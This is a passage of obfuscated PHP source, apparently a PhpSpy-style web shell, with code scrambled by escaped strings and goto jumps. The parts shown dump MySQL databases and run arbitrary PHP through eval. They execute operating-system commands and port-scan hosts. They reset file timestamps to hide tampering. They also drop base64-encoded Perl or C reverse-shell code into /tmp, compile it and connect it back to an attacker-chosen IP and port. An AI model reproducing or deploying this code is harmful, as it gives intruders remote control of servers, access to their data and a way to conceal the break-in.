"\74\x69\x6e\x70\165\x74\40\164\171\x70\145\x3d\42\x68\x69\x64\x64\145\156\x22\x20\151\x64\x3d\x22\144\142\x75\163\145\x72\42\x20\x6e\141\x6d\x65\x3d\42\x64\142\165\x73\x65\x72\x22\40\x76\141\154\x75\145\75\x22{$dbuser}\42\x20\57\76\12"; } goto c19pO; J9cMl: if (!$dbname) { makehide("\144\142\156\141\155\145"); } goto lmG0V; l_g9f: makehide("\144\x6f\x69\156\147"); goto tT0Aa; c19pO: if (isset($dbpass)) { $dbform .= "\74\151\156\160\x75\164\40\164\x79\160\x65\x3d\42\150\x69\144\144\x65\x6e\x22\x20\x69\x64\x3d\x22\144\x62\160\141\x73\163\x22\40\156\x61\155\145\x3d\x22\x64\142\x70\x61\163\x73\42\x20\x76\x61\x6c\x75\145\x3d\42{$dbpass}\x22\40\57\x3e\12"; } goto Tu6EU; tT0Aa: makehide("\x61\x63\164\151\157\156", "\x6d\x79\163\161\x6c\x61\144\155\x69\156"); goto k_tYC; kTtaA: $pagenum = 30; goto MEsKy; l0iEL: p("\74\x2f\160\76"); goto Q4Prb; O0dhA: makehide("\164\x61\x62\154\x65\156\141\x6d\x65"); goto O_e4r; QvW6g: makeinput(array("\x6e\141\155\x65" => "\x64\x62\x70\157\162\x74", "\163\x69\x7a\145" => 4, "\x76\x61\x6c\165\145" => $dbport)); goto uslBL; XoXaF: !$dbport && ($dbport = "\63\x33\x30\x36"); goto FbXhR; uslBL: p("\104\102\125\163\x65\x72\72"); goto vd6_7; w0tsT: tbfoot(); goto dDgRS; c8B3R: makeinput(array("\156\x61\x6d\x65" => "\x63\157\156\156\x65\143\164", "\166\141\x6c\165\x65" => "\103\157\x6e\156\145\143\x74", "\164\171\160\x65" => "\x73\165\x62\155\151\164", "\x63\x6c\141\x73\163" => "\142\164")); goto l0iEL; dDgRS: @mysql_close(); goto Gx53c; t8iCH: if (isset($dbhost)) { $dbform .= "\x3c\x69\156\x70\x75\164\40\x74\x79\x70\145\75\42\x68\151\x64\144\x65\156\42\x20\151\x64\x3d\42\144\142\150\157\x73\x74\x22\x20\x6e\141\x6d\x65\75\x22\144\142\x68\157\163\164\42\x20\166\x61\x6c\165\x65\75\42{$dbhost}\42\x20\x2f\x3e\12"; } goto CGTeq; wLuz0: p($dbform); goto sJmvG; emZjl: p("\x3a"); goto QvW6g; pnMzB: p("\104\x42\x43\150\141\x72\163\145\164\72"); goto pMjfb; Q4Prb: formfoot(); goto dPKog; XKVGK: makehide("\144\157\151\156\147"); goto W0Sa1; Tqefw: makehide("\141\x63\x74\x69\157\x6e", "\155\171\163\161\154\141\x64\155\151\156"); goto QPP1l; kVQi1: if ($page) { $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } goto B_VL6; VdWog: makehide("\x70\141\147\x65", $page); goto XKVGK; sJmvG: makehide("\164\141\x62\x6c\x65\156\141\x6d\x65"); goto VdWog; W0Sa1: formfoot(); goto fNAYK; komGY: p("\74\x70\76"); goto gQxGW; CPkkn: if ($doing == "\x62\x61\143\x6b\165\x70\155\x79\x73\161\154" && $saveasfile) { if (!$table) { m("\x50\x6c\145\141\163\145\40\x63\150\157\157\x73\x65\40\164\x68\x65\x20\164\x61\142\x6c\x65"); } else { goto BPWKb; DIHwC: if ($fp) { goto qjQBb; dK2P3: mysql_close(); goto T9AE3; vfGi1: m("\104\x61\x74\141\x62\x61\163\145\x20\x68\x61\x73\40\163\165\x63\143\x65\x73\x73\40\x62\141\x63\x6b\165\160\x20\164\x6f\x20\74\141\40\x68\162\145\146\75\x22" . $fileurl . "\42\40\164\x61\x72\147\x65\x74\75\x22\x5f\x62\154\141\156\x6b\x22\x3e" . $path . "\74\57\141\76"); goto dK2P3; g4ed4: fclose($fp); goto j62rn; j62rn: $fileurl = str_replace(SA_ROOT, '', $path); goto vfGi1; qjQBb: foreach ($table as $k => $v) { if ($v) { sqldumptable($v, $fp); } } goto g4ed4; T9AE3: } else { m("\x42\x61\x63\153\165\160\40\x66\141\x69\x6c\x65\144"); } goto lW2z9; Kd4T_: $fp = @fopen($path, "\x77"); goto DIHwC; BPWKb: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto Kd4T_; lW2z9: } } goto O0GcV; QDtkq: formhead(array("\156\x61\155\x65" => "\x73\x65\164\144\142\x6e\141\x6d\145")); goto Tqefw; lmG0V: formfoot(); goto dcobg; gQxGW: p("\x44\x42\x48\157\x73\164\72"); goto VHU3G; vd6_7: makeinput(array("\x6e\141\155\x65" => "\144\x62\x75\163\x65\x72", "\163\151\x7a\x65" => 15, "\x76\141\x6c\x75\145" => $dbuser)); goto TQ3A5; wj8NW: makeinput(array("\x6e\x61\x6d\145" => "\144\142\160\141\x73\163", "\163\x69\172\145" => 15, "\x76\141\154\x75\145" => $dbpass)); goto pnMzB; dcobg: formhead(array("\x6e\x61\x6d\x65" => "\163\x65\164\x74\x61\x62\154\x65")); goto CeBs5; JzOfv: !$dbhost && ($dbhost = "\154\x6f\143\141\x6c\x68\x6f\163\x74"); goto wRAuR; k_tYC: makehide("\x62\x61\163\x65\x36\64"); goto O0dhA; Tu6EU: if (isset($dbport)) { $dbform .= "\74\x69\156\x70\x75\164\40\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\42\40\x69\144\x3d\x22\144\x62\160\157\x72\x74\x22\x20\156\141\155\145\75\x22\144\x62\160\x6f\162\x74\42\40\166\141\154\165\x65\x3d\42{$dbport}\42\40\x2f\x3e\12"; } goto BUdbL; Gx53c: } elseif ($action == "\x62\141\x63\x6b\x63\157\156\156\145\143\x74") { goto GFLVp; LxNzO: makeinput(array("\x6e\x61\155\145" => "\x79\157\x75\162\x69\160", "\163\x69\172\145" => 20, "\x76\x61\x6c\165\145" => $yourip)); goto FnEWu; un4J0: makeselect(array("\156\x61\155\x65" => "\165\x73\x65", "\157\x70\x74\151\157\156" => $usedb, "\163\x65\x6c\x65\143\x74\x65\144" => $use)); goto ABuht; yNPIY: if ($start && $yourip && $yourport && $use) { if ($use == "\160\x65\162\x6c") { cf("\x2f\164\x6d\x70\57\x61\156\147\x65\x6c\137\x62\x63", $back_connect); $res = execute(which("\160\145\x72\x6c") . "\40\57\164\155\x70\57\x61\x6e\147\145\154\x5f\142\x63\40{$yourip}\x20{$yourport}\40\x26"); } else { goto FLpTD; FLpTD: cf("\57\x74\x6d\160\57\141\x6e\x67\x65\x6c\137\142\143\56\143", $back_connect_c); goto cTat9; pADSu: @unlink("\x2f\x74\x6d\x70\57\x61\156\147\145\x6c\137\x62\143\x2e\x63"); goto iS00r; iS00r: $res = execute("\57\x74\x6d\x70\x2f\141\x6e\147\145\154\x5f\x62\143\40{$yourip}\40{$yourport}\40\x26"); goto i5IGI; cTat9: $res = execute("\x67\x63\x63\x20\x2d\x6f\40\57\164\155\x70\57\x61\156\147\145\154\x5f\142\143\40\x2f\164\x6d\160\x2f\141\x6e\x67\145\x6c\x5f\142\x63\x2e\x63"); goto pADSu; i5IGI: } m("\x4e\x6f\x77\x20\x73\143\162\151\x70\164\x20\164\162\x79\x20\x63\x6f\156\x6e\x65\143\x74\40\164\157\40{$yourip}\x20\x70\x6f\x72\x74\40{$yourport}\x20\x2e\x2e\56"); } goto NwayK; Fi5XO: p("\74\x70\76"); goto gVRtm; cnQKN: makehide("\141\x63\164\151\157\156", "\142\141\143\153\143\x6f\156\x6e\145\143\164"); goto Fi5XO; EI0wb: makeinput(array("\156\x61\x6d\x65" => "\x79\x6f\x75\x72\160\157\162\x74", "\163\x69\172\145" => 15, "\x76\141\154\x75\145" => $yourport)); goto sdgJf; sdgJf: p("\125\163\x65\72"); goto un4J0; YNQQY: formfoot(); goto G06Lk; rAyRf: $usedb = array("\x70\145\162\x6c" => "\160\145\162\x6c", "\143" => "\x63"); goto HOsb9; NwayK: formhead(array("\164\x69\164\x6c\x65" => "\x42\x61\143\153\x20\103\157\x6e\156\145\143\x74")); goto cnQKN; HOsb9: $back_connect = "\111\x79\105\166\x64\x58\116\171\x4c\62\x4a\160\x62\151\x39\x77\132\x58\112\x73\104\x51\160\61\x63\x32\125\x67\x55\62\x39\152\141\62\x56\x30\x4f\167\60\x4b\112\107\116\x74\132\104\x30\x67\111\x6d\x78\65\x62\x6e\147\151\x4f\167\60\x4b\112\110\x4e\65\143\63\122\154\142\x54\60\x67\112\62\x56\x6a\141\107\70\x67\x49\x6d\x42\61\x62\155\x46\x74\132\123\x41\164\x59\127\x41\151\117\62\x56\152" . "\x61\x47\70\147\x49\x6d\102\x70\132\x47\101\x69\x4f\x79\x39\x69\x61\x57\64\166\143\x32\x67\x6e\x4f\167\x30\x4b\x4a\x44\x41\71\112\x47\x4e\164\x5a\x44\x73\116\103\x69\x52\60\131\x58\112\156\132\130\121\71\112\105\x46\x53\122\x31\x5a\x62\115\x46\x30\67\104\121\x6f\x6b\143\x47\x39\171\144\104\x30\x6b\x51\x56\112\110\126\x6c\x73\x78\x58\x54\163\x4e\103\x69\122\160\x59\127\x52\x6b\x63\152\61\160\x62\x6d\126\60\x58\x32\x46\x30\142\62\64\157\x4a\x48\122" . "\x68\143\155\x64\154\144\x43\153\x67\x66\x48\167\x67\132\107\154\154\x4b\x43\x4a\x46\x63\156\112\x76\143\152\157\147\112\x43\106\143\x62\151\111\160\x4f\x77\x30\113\x4a\x48\x42\x68\132\x47\122\171\x50\x58\116\166\131\62\164\x68\132\107\122\x79\130\x32\x6c\165\113\x43\x52\167\x62\63\x4a\x30\x4c\103\x41\153\x61\127\106\x6b\132\x48\x49\x70\x49\110\170\70\111\x47\122\x70\132\x53\147\151\122\x58\x4a\x79\x62\63\111\66\111\x43\121\x68\x58\107\64\x69\x4b\x54" . "\x73\x4e\x43\x69\122\167\143\x6d\x39\60\142\x7a\61\x6e\132\x58\x52\x77\x63\155\x39\60\142\62\x4a\x35\x62\x6d\x46\x74\x5a\123\147\156\x64\107\116\x77\x4a\171\153\67\104\x51\x70\x7a\x62\x32\x4e\x72\x5a\130\121\x6f\x55\60\71\104\x53\x30\x56\x55\x4c\103\102\121\x52\154\x39\x4a\124\153\x56\x55\114\x43\x42\x54\124\x30\x4e\114\x58\61\116\x55\125\153\126\x42\124\x53\167\147\112\x48\x42\171\x62\x33\122\x76\x4b\123\x42\x38\146\103\x42\153\x61\127\x55\x6f\111" . "\153\126\171\143\x6d\71\171\117\x69\x41\x6b\x49\x56\x78\x75\111\x69\x6b\67\104\121\x70\x6a\142\x32\65\165\x5a\127\x4e\x30\113\x46\x4e\x50\x51\60\x74\x46\x56\x43\167\147\x4a\110\102\x68\132\x47\x52\171\113\x53\x42\70\x66\x43\102\153\141\x57\125\x6f\x49\x6b\x56\171\x63\155\71\171\117\x69\101\x6b\111\x56\170\165\x49\151\153\x37\x44\x51\x70\x76\143\x47\126\165\113\106\x4e\125\x52\x45\154\x4f\x4c\103\x41\x69\120\151\x5a\x54\x54\60\x4e\x4c\122\126\x51\151" . "\x4b\x54\163\116\x43\x6d\x39\x77\x5a\127\x34\157\125\61\122\x45\124\x31\126\x55\x4c\103\x41\x69\x50\x69\132\x54\124\60\116\114\x52\x56\x51\x69\113\124\x73\x4e\103\155\x39\x77\x5a\127\64\157\125\x31\122\105\x52\126\x4a\123\114\x43\101\151\x50\151\132\x54\124\60\x4e\114\122\x56\121\x69\113\124\163\116\x43\x6e\116\65\143\63\122\154\142\x53\x67\153\x63\x33\x6c\172\x64\x47\126\x74\x4b\x54\x73\116\103\155\x4e\x73\142\63\116\x6c\x4b\106\x4e\125\x52\105\x6c" . "\x4f\x4b\x54\163\116\103\155\x4e\163\x62\x33\116\x6c\113\106\x4e\125\122\105\71\126\126\x43\x6b\67\x44\x51\x70\152\142\107\71\172\132\123\x68\x54\x56\105\x52\106\125\154\111\160\x4f\167\x3d\75"; goto WvD6w; Brqla: p("\x3c\57\x70\76"); goto YNQQY; A1Cyw: !$yourport && ($yourport = "\x31\62\x33\64\x35"); goto rAyRf; ABuht: makeinput(array("\x6e\x61\155\145" => "\163\164\141\162\164", "\x76\x61\154\165\x65" => "\123\164\x61\162\164", "\164\x79\160\145" => "\x73\165\x62\155\x69\x74", "\143\154\141\163\x73" => "\x62\164")); goto Brqla; GFLVp: !$yourip && ($yourip = $_SERVER["\x52\105\115\x4f\x54\105\137\x41\104\104\122"]); goto A1Cyw; FnEWu: p("\131\x6f\x75\x72\40\120\157\162\164\72"); goto EI0wb; WvD6w: $back_connect_c = "\x49\62\154\165\x59\62\170\61\x5a\107\125\147\120\x48\116\x30\132\x47\x6c\x76\x4c\155\147\53\x44\x51\157\152\x61\x57\65\152\x62\110\x56\153\x5a\x53\x41\x38\x63\x33\154\x7a\114\x33\x4e\x76\x59\62\164\154\x64\x43\x35\157\120\147\60\x4b\111\62\x6c\165\131\62\170\61\132\x47\125\x67\x50\x47\65\154\x64\107\154\165\x5a\130\x51\166\141\x57\64\165\x61\104\x34\x4e\103\x6d\154\x75\144\103" . "\102\164\131\x57\x6c\x75\x4b\107\x6c\165\x64\x43\102\x68\x63\x6d\x64\x6a\x4c\103\x42\152\141\x47\x46\171\111\x43\160\150\x63\155\144\x32\127\61\x30\x70\104\x51\x70\67\104\121\x6f\x67\141\127\65\x30\x49\x47\132\x6b\x4f\167\x30\113\111\110\116\x30\x63\x6e\126\152\144\x43\102\x7a\x62\62\x4e\x72\131\127\122\153\143\154\x39\160\142\151\102\x7a\141\x57\x34\67\x44\121\x6f\x67\x59\x32\x68\x68\143\151\102\x79\x62\130\x4e\142\x4d\152\106\x64\x50\123\x4a\x79\x62" . "\123\101\164\x5a\x69\101\x69\117\171\x41\x4e\103\x69\x42\153\131\x57\x56\164\142\x32\x34\157\115\123\167\x77\x4b\124\x73\116\103\151\102\172\x61\x57\x34\165\x63\62\154\165\x58\x32\x5a\150\142\x57\x6c\x73\x65\x53\101\71\111\x45\106\x47\130\60\154\x4f\122\x56\x51\67\x44\121\x6f\x67\143\62\154\165\x4c\x6e\116\x70\142\154\71\x77\x62\63\x4a\60\x49\x44\x30\147\x61\x48\x52\x76\142\x6e\x4d\157\131\x58\122\166\141\x53\150\150\x63\x6d\144\x32\x57\x7a\x4a\144" . "\x4b\123\x6b\x37\x44\121\157\147\x63\62\x6c\165\x4c\x6e\116\x70\142\x6c\71\x68\x5a\x47\122\171\x4c\x6e\x4e\x66\131\x57\122\x6b\143\x69\x41\71\111\x47\154\165\x5a\x58\x52\146\131\127\x52\153\143\151\x68\150\143\x6d\144\62\x57\172\106\x64\x4b\124\163\147\x44\x51\x6f\147\x59\x6e\160\x6c\x63\x6d\x38\x6f\131\130\112\156\x64\x6c\163\170\x58\123\x78\172\144\110\112\x73\x5a\127\x34\157\131\x58\x4a\x6e\144\x6c\163\x78\x58\x53\153\162\115\123\164\172\x64\110\112" . "\163\132\127\x34\157\131\x58\x4a\x6e\x64\x6c\163\171\130\123\153\x70\x4f\171\x41\x4e\x43\151\102\155\132\103\101\71\111\110\116\166\x59\62\164\x6c\x64\x43\x68\x42\x52\154\71\x4a\x54\x6b\126\x55\x4c\x43\102\x54\124\x30\116\x4c\x58\x31\x4e\125\125\153\126\102\x54\x53\x77\x67\x53\126\102\x51\x55\x6b\71\125\x54\x31\71\x55\x51\x31\x41\x70\x49\104\x73\x67\104\x51\x6f\x67\141\x57\x59\x67\113\x43\150\152\142\x32\65\x75\x5a\127\116\60\113\x47\132\x6b\114\103" . "\x41\157\143\63\122\x79\x64\x57\116\60\x49\x48\116\166\131\x32\x74\150\132\107\122\x79\111\x43\x6f\160\x49\x43\132\x7a\x61\127\64\x73\x49\x48\x4e\160\145\155\126\166\132\x69\150\x7a\144\110\112\x31\x59\63\x51\x67\143\x32\x39\152\x61\x32\x46\x6b\x5a\x48\x49\160\x4b\x53\x6b\x38\x4d\103\x6b\x67\145\167\x30\113\111\103\x41\x67\x63\107\126\171\143\x6d\x39\x79\113\103\112\142\x4c\126\x30\147\x59\x32\71\165\x62\x6d\x56\152\144\x43\147\x70\x49\151\x6b\x37\x44" . "\x51\157\147\x49\x43\x42\x6c\145\107\x6c\x30\113\104\x41\x70\x4f\x77\60\x4b\111\110\60\x4e\x43\x69\102\172\144\x48\112\152\131\130\121\x6f\143\x6d\61\172\114\103\102\x68\x63\x6d\x64\x32\127\172\102\144\x4b\x54\x73\116\103\151\x42\x7a\145\x58\x4e\60\132\127\x30\157\x63\x6d\61\172\113\124\163\147\x49\101\x30\113\x49\107\122\61\x63\x44\x49\157\132\155\121\163\111\104\x41\160\117\x77\60\113\111\107\x52\x31\143\x44\x49\x6f\x5a\155\x51\163\111\x44\105\x70" . "\117\x77\x30\x4b\x49\107\122\x31\143\104\111\x6f\132\155\121\x73\x49\x44\x49\x70\117\x77\x30\x4b\111\107\x56\x34\132\127\116\163\x4b\103\x49\x76\131\x6d\x6c\x75\x4c\x33\x4e\157\111\151\167\151\x63\62\147\147\114\127\153\151\114\x43\102\117\126\x55\x78\x4d\113\124\163\x4e\x43\x69\x42\x6a\x62\x47\x39\172\132\123\150\x6d\x5a\103\153\67\111\x41\60\x4b\x66\x51\x3d\x3d"; goto yNPIY; gVRtm: p("\x59\x6f\x75\x72\x20\x49\x50\72"); goto LxNzO; G06Lk: } elseif ($action == "\x70\x6f\162\164\163\x63\x61\156") { goto uFt2J; xH2PO: formhead(array("\164\x69\x74\x6c\145" => "\x50\x6f\162\164\40\x53\143\x61\x6e")); goto aI3Uq; UGqt6: if ($startscan) { goto RNxRG; RNxRG: p("\x3c\x68\x32\x3e\122\145\163\165\154\164\40\x26\162\x61\x71\165\x6f\73\74\57\150\x32\x3e"); goto JboTj; skFAT: foreach (explode("\x2c", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if (!$fp) { p("\74\x6c\x69\x3e" . $scanip . "\x3a" . $port . "\40\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\x2d\55\55\55\55\55\x2d\x2d\55\x2d\55\55\x2d\x20\x3c\x73\x70\141\156\x20\163\x74\x79\x6c\x65\x3d\42\x66\157\x6e\164\55\x77\x65\151\x67\x68\164\x3a\142\157\x6c\x64\x3b\x63\157\154\x6f\x72\72\x23\x66\60\60\x3b\42\x3e\x43\154\x6f\163\145\x3c\x2f\163\x70\141\x6e\76\74\x2f\154\151\x3e"); } else { p("\x3c\154\151\76" . $scanip . "\72" . $port . "\x20\x2d\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\55\x2d\x2d\x2d\x2d\x2d\x2d\55\55\55\x2d\x2d\55\x2d\40\74\x73\160\141\156\40\x73\x74\x79\x6c\x65\x3d\42\x66\157\x6e\x74\55\x77\145\x69\x67\x68\x74\72\142\x6f\154\144\x3b\x63\x6f\154\x6f\162\x3a\43\x30\70\60\73\42\76\117\160\145\x6e\74\x2f\163\160\141\156\76\74\x2f\154\151\x3e"); @fclose($fp); } } goto GZtEU; JboTj: p("\x3c\x75\x6c\x20\x63\x6c\141\163\163\x3d\42\x69\x6e\x66\157\x22\76"); goto skFAT; GZtEU: p("\74\57\165\x6c\76"); goto Ht2A9; Ht2A9: } goto g9H70; VBt9M: makeinput(array("\156\141\155\145" => "\x73\143\141\x6e\x70\157\162\x74", "\163\151\172\x65" => 80, "\x76\x61\x6c\x75\x65" => $scanport)); goto x2pfR; bbe3d: formfoot(); goto UGqt6; AY3_9: makeinput(array("\x6e\x61\155\145" => "\163\x63\141\x6e\x69\160", "\x73\x69\172\x65" => 20, "\166\141\x6c\x75\145" => $scanip)); goto lIPO1; uFt2J: !$scanip && ($scanip = "\61\62\67\x2e\60\56\x30\x2e\61"); goto hrls1; lIPO1: p("\120\x6f\x72\x74\x3a"); goto VBt9M; aI3Uq: makehide("\141\143\x74\x69\157\x6e", "\160\157\x72\164\163\x63\x61\156"); goto sp7iT; sp7iT: p("\x3c\160\76"); goto VmLcB; VmLcB: p("\111\x50\72"); goto AY3_9; otEAT: p("\x3c\57\x70\76"); goto bbe3d; x2pfR: makeinput(array("\156\141\155\x65" => "\x73\x74\141\x72\x74\x73\143\141\156", "\166\x61\x6c\x75\x65" => "\x53\143\141\156", "\164\171\160\x65" => "\163\x75\142\155\x69\164", "\x63\x6c\x61\x73\x73" => "\x62\x74")); goto otEAT; hrls1: !$scanport && ($scanport = "\62\x31\54\62\x35\54\x38\60\54\61\x31\x30\54\x31\x33\65\54\x31\63\x39\54\64\x34\x35\x2c\61\x34\x33\x33\54\x33\63\x30\66\x2c\63\x33\70\71\x2c\65\66\63\x31\x2c\64\63\x39\x35\x38"); goto xH2PO; g9H70: } elseif ($action == "\x65\166\141\x6c") { goto HbO31; BC8J7: maketext(array("\164\x69\x74\x6c\145" => "\x50\110\120\x20\103\157\144\x65", "\x6e\x61\155\145" => "\160\x68\160\143\157\x64\x65", "\166\141\154\x75\x65" => $phpcode)); goto mrZiG; nU0Eb: if ($phpcode) { if (!preg_match("\x23\74\x5c\x3f\43\x73\151", $phpcode)) { $phpcode = "\74\77\160\x68\x70\12\12{$phpcode}\xa\12\x3f\x3e"; } eval("\77" . "\x3e{$phpcode}\74\77"); } goto V87Wb; V87Wb: formhead(array("\x74\151\164\x6c\145" => "\105\166\141\154\x20\120\x48\120\40\x43\157\x64\x65")); goto NDJQs; NDJQs: makehide("\x61\143\164\x69\x6f\x6e", "\x65\166\141\154"); goto BC8J7; mrZiG: p("\x3c\x70\x3e\74\141\x20\x68\162\x65\146\75\x22\150\164\164\x70\72\x2f\57\x77" . "\167\167\x2e\x34\156\147" . "\145\x6c\56\x6e\145\x74\57\160\x68\x70" . "\163\x70\171\57\x70\154" . "\165\147\x69\156\57\42\x20\x74\141\162\x67\145\164\75\x22\x5f\x62\154\x61\156\153\42\x3e\107\145\164\40\x70\154\165\x67\151\x6e\x73\x3c\57\x61\76\x3c\x2f\160\76"); goto O24X1; O24X1: formfooter(); goto AMTXB; HbO31: $phpcode = trim($phpcode); goto nU0Eb; AMTXB: } elseif ($action == "\145\144\151\x74\x66\x69\154\x65") { goto BASFl; Q2deT: formfooter(); goto Sck2k; YJ7W_: maketext(array("\x74\x69\x74\154\x65" => "\x46\x69\154\x65\40\x43\157\x6e\164\x65\156\164", "\x6e\141\x6d\x65" => "\146\151\x6c\x65\x63\x6f\156\x74\145\x6e\x74", "\x76\x61\x6c\x75\x65" => $contents)); goto Q2deT; Sck2k: goback(); goto qc0Y0; nbahB: makeinput(array("\164\151\x74\154\145" => "\103\165\x72\162\x65\x6e\x74\40\106\x69\154\x65\40\x28\x69\x6d\160\x6f\x72\164\40\x6e\x65\x77\40\x66\151\x6c\x65\x20\156\x61\x6d\145\40\x61\x6e\144\40\156\145\x77\x20\x66\x69\x6c\x65\x29", "\156\x61\x6d\145" => "\145\x64\x69\x74\x66\x69\x6c\145\x6e\141\155\145", "\166\141\x6c\165\145" => $opfile, "\x6e\x65\x77\154\151\156\x65" => 1)); goto YJ7W_; Rex1f: makehide("\141\143\164\x69\x6f\156", "\146\x69\x6c\145"); goto vtWXM; sldW9: formhead(array("\x74\151\164\x6c\145" => "\x43\162\145\141\x74\145\40\x2f\x20\x45\144\x69\x74\40\x46\151\x6c\145")); goto Rex1f; vtWXM: makehide("\x64\x69\x72", $nowpath); goto nbahB; BASFl: if (file_exists($opfile)) { goto k4nDu; PUKu8: $contents = @fread($fp, filesize($opfile)); goto MGH4n; mPAal: $contents = htmlspecialchars($contents); goto h2RL2; k4nDu: $fp = @fopen($opfile, "\x72"); goto PUKu8; MGH4n: @fclose($fp); goto mPAal; h2RL2: } goto sldW9; qc0Y0: } elseif ($action == "\156\x65\167\164\x69\155\x65") { goto UkKKn; UkKKn: $opfilemtime = @filemtime($opfile); goto ipfrN; gEaIz: p("\155\x69\156\165\164\x65\x3a"); goto uz0A2; en_wb: p("\150\x6f\x75\x72\72"); goto z4qke; VVpSJ: makehide("\141\143\164\151\157\156", "\x66\151\154\145"); goto FmMcl; oCRmq: makeinput(array("\x74\x69\164\154\x65" => "\122\x65\146\x65\x72\145\156\143\x65\x20\x66\157\x6c\144\145\x72\57\146\x69\x6c\145\40\50\146\165\x6c\154\x70\141\164\150\x29", "\156\141\155\145" => "\164\141\162\x66\151\154\145", "\x73\x69\172\145" => 120, "\x6e\x65\167\x6c\x69\x6e\145" => 1)); goto o_Tfk; id1Ms: makeinput(array("\x74\151\164\x6c\x65" => "\103\x75\162\162\x65\x6e\164\x20\x66\157\154\x64\145\x72\x2f\x66\151\x6c\x65\40\50\146\x75\154\154\x70\141\x74\x68\x29", "\156\141\x6d\145" => "\143\x75\162\146\x69\154\x65", "\166\141\x6c\x75\145" => $opfile, "\x73\x69\x7a\x65" => 120, "\x6e\145\x77\x6c\x69\156\145" => 1)); goto bjA13; tcVuC: makeinput(array("\156\x61\x6d\x65" => "\x64\141\171", "\166\141\x6c\165\145" => date("\144", $opfilemtime), "\x73\151\172\x65" => 2)); goto en_wb; WcfNw: makeinput(array("\x6e\141\x6d\145" => "\x79\145\x61\162", "\x76\141\154\165\x65" => date("\131", $opfilemtime), "\163\x69\172\x65" => 4)); goto LMO0S; OmwOF: formfooter(); goto XiXBF; sWG8F: makehide("\144\151\162", $nowpath); goto id1Ms; tDN52: makeinput(array("\x6e\141\155\x65" => "\155\x6f\156\x74\150", "\x76\141\154\165\x65" => date("\155", $opfilemtime), "\x73\151\172\145" => 2)); goto ZvUV3; oCEpO: makeinput(array("\x6e\x61\155\x65" => "\163\x65\143\157\156\x64", "\166\x61\154\165\x65" => date("\163", $opfilemtime), "\x73\151\x7a\145" => 2)); goto vIZk2; uuW_Q: formhead(array("\164\151\x74\154\145" => "\123\x65\164\40\x6c\141\163\x74\40\155\157\x64\151\x66\151\145\144")); goto RjdIF; o_Tfk: formfooter(); goto uuW_Q; voUoi: p("\x73\x65\x63\157\156\144\72"); goto oCEpO; ZvUV3: p("\x64\x61\x79\72"); goto tcVuC; XiXBF: goback(); goto pBq11; FmMcl: makehide("\x64\151\162", $nowpath); goto MfU1Q; LMO0S: p("\x6d\157\x6e\164\150\x3a"); goto tDN52; ipfrN: $cachemonth = array("\x4a\141\x6e\x75\141\162\x79" => 1, "\106\x65\142\162\x75\141\162\x79" => 2, "\x4d\141\x72\x63\x68" => 3, "\101\x70\x72\151\x6c" => 4, "\115\141\x79" => 5, "\112\165\156\x65" => 6, "\x4a\165\x6c\x79" => 7, "\101\165\147\165\163\164" => 8, "\123\x65\x70\x74\145\x6d\142\x65\x72" => 9, "\117\x63\x74\x6f\x62\x65\162" => 10, "\116\x6f\x76\145\x6d\x62\x65\x72" => 11, "\x44\145\x63\x65\x6d\x62\145\x72" => 12); goto fZMPa; MfU1Q: makeinput(array("\164\151\x74\154\x65" => "\101\x6c\x74\x65\x72\x20\146\x6f\x6c\x64\145\x72\x2f\x66\151\x6c\x65", "\x6e\x61\155\145" => "\x63\x75\x72\x66\151\x6c\x65", "\166\x61\154\165\145" => $opfile, "\x73\x69\x7a\145" => 120, "\156\x65\167\154\x69\156\145" => 1)); goto oCRmq; bjA13: p("\x3c\160\x3e\x79\x65\x61\162\x3a"); goto WcfNw; z4qke: makeinput(array("\x6e\141\x6d\x65" => "\x68\x6f\165\x72", "\x76\x61\x6c\165\x65" => date("\110", $opfilemtime), "\x73\151\172\145" => 2)); goto gEaIz; uz0A2: makeinput(array("\x6e\141\155\145" => "\x6d\x69\x6e\165\164\145", "\166\x61\154\165\145" => date("\x69", $opfilemtime), "\163\x69\172\145" => 2)); goto voUoi; vIZk2: p("\x3c\x2f\x70\76"); goto OmwOF; RjdIF: makehide("\x61\143\164\151\x6f\x6e", "\146\151\x6c\x65"); goto sWG8F; fZMPa: formhead(array("\x74\151\x74\154\145" => "\103\154\157\x6e\x65\40\146\x6f\154\144\x65\x72\x2f\146\x69\x6c\x65\40\x77\141\x73\40\154\x61\163\164\40\x6d\157\x64\151\x66\x69\145\144\40\x74\x69\155\x65")); goto VVpSJ; pBq11: } elseif ($action == "\x73\150\145\x6c\x6c") { goto q3Z9S; UyM1p: if ($command) { goto mT_xr; mT_xr: p("\74\150\x72\x20\x77\151\x64\x74\x68\x3d\x22\x31\x30\60\45\x22\40\156\157\x73\150\141\144\x65\40\57\76\74\x70\162\145\x3e"); goto Z_2sW; hlD95: p("\74\x2f\160\162\145\76"); goto hKC6y; Z_2sW: if ($execfunc == "\167\x73\x63\162\151\160\164" && IS_WIN && IS_COM) { goto gy_S7; Viyxg: $exec = $wsh->exec("\143\155\x64\56\x65\x78\x65\40\x2f\143\40" . $command); goto Zt00N; gy_S7: $wsh = new COM("\x57\x53\143\x72\x69\160\x74\56\x73\150\x65\x6c\x6c"); goto Viyxg; osF87: $stroutput = $stdout->ReadAll(); goto CWV4I; Zt00N: $stdout = $exec->StdOut(); goto osF87; CWV4I: echo $stroutput; goto EgRNn; EgRNn: } elseif ($execfunc == "\x70\x72\157\143\x5f\x6f\160\x65\156" && IS_WIN && IS_COM) { goto bw7Mv; HHX7T: $process = proc_open($_SERVER["\x43\117\x4d\x53\x50\x45\x43"], $descriptorspec, $pipes); goto m74A0; bw7Mv: $descriptorspec = array(0 => array("\160\x69\x70\x65", "\x72"), 1 => array("\160\151\x70\x65", "\167"), 2 => array("\x70\151\160\145", "\x77")); goto HHX7T; m74A0: if (is_resource($process)) { goto iqYXN; iqYXN: fwrite($pipes[0], $command . "\15\12"); goto X12fn; tx5_2: while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } goto KhcAh; KhcAh: fclose($pipes[1]); goto HsYhN; X12fn: fwrite($pipes[0], "\x65\x78\x69\x74\15\12"); goto JvoiA; JvoiA: fclose($pipes[0]); goto tx5_2; xrG6U: fclose($pipes[2]); goto bfEVE; HsYhN: while (!feof($pipes[2])) { echo fgets($pipes[2], 